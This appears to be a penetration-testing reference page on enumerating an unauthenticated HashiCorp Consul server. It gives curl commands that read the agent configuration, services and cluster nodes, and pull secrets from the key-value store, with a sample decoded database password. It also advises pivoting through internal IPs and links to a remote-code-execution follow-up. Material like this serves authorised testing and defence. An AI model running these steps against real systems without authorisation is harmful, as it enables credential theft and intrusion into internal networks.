Skip to content
HackIndex.io

Consul Enumeration

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

HashiCorp Consul is a service mesh and key-value store that runs on port 8500 (HTTP API) and 8600 (DNS). Consul is used for service discovery, health checking, and configuration storage. By default, Consul has no authentication enabled, exposing the full API including the key-value store, registered services, and agent configuration. In many environments, Consul stores secrets, API keys, and database credentials.

Version and Leader Info

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/agent/self | python3 -c "
import json, sys
data = json.load(sys.stdin)
config = data.get('Config', {})
print(f\"Version: {config.get('Version')}\")
print(f\"Datacenter: {config.get('Datacenter')}\")
print(f\"Server: {config.get('Server')}\")
print(f\"Node: {config.get('NodeName')}\")" 
Version: 1.16.2
Datacenter: dc1
Server: true
Node: consul-server-01

The /agent/self endpoint returns full agent configuration. If ACLs are enabled but no token is required for this endpoint, the instance may have a permissive default policy.

Service Discovery

List all registered services across the cluster.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/catalog/services | python3 -m json.tool 
{
  "consul": [],
  "mysql": ["primary", "db"],
  "redis": ["cache"],
  "web-api": ["production"]
}

Service names and tags reveal the application architecture. Query individual services for IP addresses and ports.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/catalog/service/mysql | python3 -m json.tool

Returns node name, internal IP (Address), service port (ServicePort), and health check status for each service instance.

Key-Value Store

The KV store often contains application configuration, database credentials, API keys, and TLS certificates.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/kv/?keys 
["config/database/password","config/database/host","config/api/secret-key","certs/tls-key"]
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/kv/config/database/password | python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for entry in data:
print(base64.b64decode(entry['Value']).decode())" 
S3cur3P@ssw0rd!

Consul KV values are base64-encoded in the API response. Decode them to get the plaintext value.

Cluster Node Enumeration

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/catalog/nodes | python3 -m json.tool

Returns all cluster nodes with their internal IPs. Use these IPs to pivot through the internal network.

ACL Token Check

If ACLs are enabled, check whether the anonymous token (no auth) has any permissions, or try to enumerate tokens.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/acl/tokens -H 'X-Consul-Token: anonymous'

If ACLs are enabled, 403 means the anonymous policy has no ACL management permissions. If it returns token data, the anonymous policy is overly permissive.

If the API is accessible without tokens, continue to Consul RCE for command execution via service registration and exec API.

References